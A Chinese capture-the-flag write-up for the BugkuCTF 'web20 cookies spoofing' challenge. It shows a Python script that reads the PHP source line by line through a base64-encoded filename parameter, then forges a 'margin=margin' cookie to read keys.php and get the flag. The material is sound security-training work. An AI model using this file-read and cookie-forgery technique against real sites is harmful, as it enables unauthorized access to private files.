BugkuCTF web20_cookies欺骗 writeup

本文围绕web20_cookies欺骗题目展开。先通过观察URL解密参数,尝试修改参数获取源码,后写脚本得到完整源码。经代码审计,发现当cookie的margin=margin时可访问keys.php文件。最后伪造cookies、加密filename,用burpsuite或HackBar操作,在源码中找到flag。

web20_cookies欺骗

原题链接

key:python脚本+修改cookies+base64加密访问

 

①题目环境里显示一大长串神秘英文👇

查看源码后没有线索

但是观察URL发现参数filename的值经过了base64加密

拿去解密,结果是keys.txt

 

②大胆猜想,或许能得到源码

于是尝试修改参数filename=index.php

值得注意的是,此处index.php要用base64加密为aW5kZXgucGhw

回车发现啥也没有。。。

这才发现原来URL里的line还没有赋值,猜测是显示第几行代码的参数

随便输入1,2,3果然分别显示出了对应行的php代码,猜测成立

 

③懒得一行一行来读,不妨写个脚本来获取源码👇

import requests

a=30
for i in range(a):
    url="http://120.24.86.145:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw" 
    s=requests.get(url)
    print (s.text)

运行脚本得到源码👇

    <?php
     
    error_reporting(0);
     
    $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
     
    $line=isset($_GET['line'])?intval($_GET['line']):0;
     
    if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
     
    $file_list = array(
     
    '0' =>'keys.txt',
     
    '1' =>'index.php',
     
    );
     
     
     
    if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){    //关键
     
    $file_list[2]='keys.php';
     
    }
     
     
     
    if(in_array($file, $file_list)){
     
    $fa = file($file);
     
    echo $fa[$line];
     
    }
     
    ?>

 

④进行代码审计

前部分代码是对参数进行一系列处理

最后的代码进一步证实line就是用来显示第几行代码的参数

还有中间的关键代码👇

    if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){    //关键
     
    $file_list[2]='keys.php';
     
    }

意思是当cookie的margin=margin时,可以访问一个keys.php文件

 

一方面要伪造cookies:margin=margin,另一方面使filename=keys.php

值得注意的是,此处keys.php还是要用base64加密为a2V5cy5waHA=

具体操作可以用burpsuite,也可以用HackBar

burpsuite具体操作👇

HackBar具体操作👇

Execute执行后是一个空白页面,在源码中发现flag

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Mitch311

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值